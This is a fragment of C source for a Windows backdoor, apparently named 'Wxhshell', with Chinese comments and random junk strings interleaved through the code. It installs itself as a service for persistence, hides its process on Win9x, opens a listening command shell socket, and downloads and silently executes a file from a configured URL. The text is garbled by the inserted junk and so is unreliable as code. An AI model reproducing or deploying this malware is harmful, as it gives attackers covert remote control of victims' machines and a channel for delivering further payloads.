e'0{?B if (!NtQueryInformationProcess) return 0; Md0sK EmODBTu+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hjIT_{mk if(!hProcess) return 0; xKQ+{"?-^g {_S}H1, if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =dII- L=` (*oL+ef-C CloseHandle(hProcess); mnmP<<8C, "FTfk hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?Rj ~f{%g if(hProcess==NULL) return 0; |1b_3?e agjv{ HMODULE hMod; Iz
;G*W18 char procName[255]; ?r?jl;A& unsigned long cbNeeded; UN zlN Q($Z%1S if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7.Z@Wr? emdoA:w+ CloseHandle(hProcess); ;_^fk&+ r8,romE$ if(strstr(procName,"services")) return 1; // 以服务启动 U7I qST x\J#]d. return 0; // 注册表启动 /\H>y } LE*h9(( aj?a^}X // 主模块 'JNElXqrv int StartWxhshell(LPSTR lpCmdLine) {W]=~*w { ]79:yMD~ba SOCKET wsl; DqX{'jj BOOL val=TRUE; `;>= '"O!\ int port=0; s1e:v+B] struct sockaddr_in door; RLSc+kDH_ BRk0CLr5 if(wscfg.ws_autoins) Install(); !OT-b>*w :dLAs@z port=atoi(lpCmdLine); aBNZdX]vzO K^B%/T]d if(port<=0) port=wscfg.ws_port; t
0-(U\ cCa|YW^j WSADATA data; *&d<yJM`b if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2D:fJ~|-[ [-)r5Dsdq if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; KyzFnVH3) setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '
4ER00 door.sin_family = AF_INET; Q4*fc^?u door.sin_addr.s_addr = inet_addr("127.0.0.1"); wbe<'/X+ door.sin_port = htons(port); kiRa+w: #(1j#\ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %zSuK8kxV closesocket(wsl); c7M%xGrP return 1; `\m*+Bk[5 } me'd6!O9- ;>AL`M+ if(listen(wsl,2) == INVALID_SOCKET) { YSj+\Z$( closesocket(wsl); |U_]vMq return 1; IN,(yaC } VwEb7v,^0\ Wxhshell(wsl); Dc+'<" WSACleanup(); Zr-U&9.` JR@.R
,rII return 0; j~FD{%4N STglw-TC\ } iC*F yB3; // 以NT服务方式启动 :Dd$i_3= VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2CzaL,je[ { 1]}#)- DWORD status = 0; JkGnKm9G DWORD specificError = 0xfffffff; P<Zh XN' tw(JZDc serviceStatus.dwServiceType = SERVICE_WIN32; 0jzbG]pc:E serviceStatus.dwCurrentState = SERVICE_START_PENDING; l$YC/bP serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |Xw/E)jA serviceStatus.dwWin32ExitCode = 0; 7#~+@'Oe serviceStatus.dwServiceSpecificExitCode = 0; l9Q(xuhv serviceStatus.dwCheckPoint = 0; j+^oz'q serviceStatus.dwWaitHint = 0; !=y]Sv~h t!2(7=P30( hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~l$3uN[g if (hServiceStatusHandle==0) return; J-ePE7i @&"Pci+-| status = GetLastError(); cS. -7
if (status!=NO_ERROR) }/,HM9Ke { ~h"/Tce serviceStatus.dwCurrentState = SERVICE_STOPPED; ?X-)J=XG serviceStatus.dwCheckPoint = 0; `juLQH serviceStatus.dwWaitHint = 0; ex<O]kPFE serviceStatus.dwWin32ExitCode = status; TyKWy0x-3 serviceStatus.dwServiceSpecificExitCode = specificError; )I\=BPo|B SetServiceStatus(hServiceStatusHandle, &serviceStatus); o0ZM[0@j return; =0-
$W5E } (Z}>1WRju }@+NN
?P serviceStatus.dwCurrentState = SERVICE_RUNNING; WO6/X/#8b serviceStatus.dwCheckPoint = 0; ?go:e# serviceStatus.dwWaitHint = 0; uHIiH@S if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KIeT!kmDl }
5*\\J&H kSc{^-<R // 处理NT服务事件,比如:启动、停止 [Px'\nVf VOID WINAPI NTServiceHandler(DWORD fdwControl) }P3tn { 'u4ezwF; switch(fdwControl) zd]D(qeX { TrdZJ21#M case SERVICE_CONTROL_STOP: {u[V{XIUh serviceStatus.dwWin32ExitCode = 0; %Rh;=p` serviceStatus.dwCurrentState = SERVICE_STOPPED; `p'Q7m2y/b serviceStatus.dwCheckPoint = 0; efG6v serviceStatus.dwWaitHint = 0; }YOL"<,:o {
Ke-)vPc SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4Iq'/r } 7DKz;o return; $^ 'aCU0C case SERVICE_CONTROL_PAUSE: lZ&]|*> serviceStatus.dwCurrentState = SERVICE_PAUSED; AOp/d(vx5i break; 0e[d=)XG case SERVICE_CONTROL_CONTINUE: \#'TNmS serviceStatus.dwCurrentState = SERVICE_RUNNING; D^U:
ih break; 7B3w\ case SERVICE_CONTROL_INTERROGATE: *[eL~oN.c break; 0lM{l? }; `Y40w#?uW SetServiceStatus(hServiceStatusHandle, &serviceStatus); NDO\B,7 } <As9>5|% qpJ{2Q // 标准应用程序主函数 K~RoUE<3[ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QHBtWQgS { Z.i{i^/#( _)$PKOzbb // 获取操作系统版本 r$wZt OsIsNt=GetOsVer(); 6O2=Ns;J6 GetModuleFileName(NULL,ExeFile,MAX_PATH); iv(5&'[p "tS'b+SJ-S // 从命令行安装 R)Mt(gFZT_ if(strpbrk(lpCmdLine,"iI")) Install(); Xl |1YX1&m ExHAY|UA // 下载执行文件 XH7xT@ if(wscfg.ws_downexe) { BsZ{|,oQnZ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;oH,~|K WinExec(wscfg.ws_filenam,SW_HIDE); 9H]_4?aX } f]8I64 rAQF9O[ if(!OsIsNt) { =wi*Nd7L // 如果时win9x,隐藏进程并且设置为注册表启动 $\a5&1rl HideProc(); lz |
64J StartWxhshell(lpCmdLine); O(H1 P[ } t>UkE9=3\ else -m 5}#P89 if(StartFromService()) pL1s@KR // 以服务方式启动 [LM^),J? StartServiceCtrlDispatcher(DispatchTable); >n.z)ZJ else m:Go-tk // 普通方式启动 >x:EJV StartWxhshell(lpCmdLine); fvo<(c#Y# gd@p|PsS^ return 0; J?:[$ C5 }
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